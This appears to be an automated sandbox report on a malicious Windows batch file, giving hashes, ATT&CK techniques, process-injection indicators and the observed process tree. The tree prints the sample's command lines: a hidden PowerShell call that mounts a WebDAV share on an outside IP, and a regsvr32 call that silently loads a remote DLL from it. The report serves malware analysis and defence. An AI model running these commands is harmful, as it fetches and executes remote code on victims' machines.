ac71d7bd4efd05727655e3d4c393127c98cac1ed92de44244e54e1ccfdf0aa0c

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 03:20

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General

Target

3255529665177125468.bat
Size

13KB
MD5

dc72e34d3bf4fb003a13bee0ddf47011
SHA1

e158a8570a7de5f8e6972fd8f371de2edf1b8e7c
SHA256

368ec195b1915f7d0c3b6b3d0893be9d2f3df3b3d7804fcba2e9f2808c66fb42
SHA512

9ddda0b936b3818b7c090a2afba1cf4f9fbf24edcf59bab70f419fa960c3c24e4988e716b2420d7693cf7fc058b6e3e5036dd4ac4c9ec3c60ad85b9e4bf3d9ea
SSDEEP

192:bipb3Y96mj7Cfr8v4si1klsBcJFM7f2X2Vj0mcSkXGt0SAzL0x:e3Nh8vTi1kSCJiwyju2t0Vk

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2472	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2472	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2968	wordpad.exe
2968	wordpad.exe
2968	wordpad.exe
2968	wordpad.exe
2968	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 2968	1976	cmd.exe	31
PID 1976 wrote to memory of 2968	1976	cmd.exe	31
PID 1976 wrote to memory of 2968	1976	cmd.exe	31
PID 1976 wrote to memory of 2472	1976	cmd.exe	32
PID 1976 wrote to memory of 2472	1976	cmd.exe	32
PID 1976 wrote to memory of 2472	1976	cmd.exe	32
PID 2472 wrote to memory of 2992	2472	powershell.exe	35
PID 2472 wrote to memory of 2992	2472	powershell.exe	35
PID 2472 wrote to memory of 2992	2472	powershell.exe	35
PID 2472 wrote to memory of 2732	2472	powershell.exe	36
PID 2472 wrote to memory of 2732	2472	powershell.exe	36
PID 2472 wrote to memory of 2732	2472	powershell.exe	36
PID 2472 wrote to memory of 2732	2472	powershell.exe	36
PID 2472 wrote to memory of 2732	2472	powershell.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3255529665177125468.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\256631059728979.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2992
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\256631059728979.dll
    3⤵
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2472-24-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2472-23-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download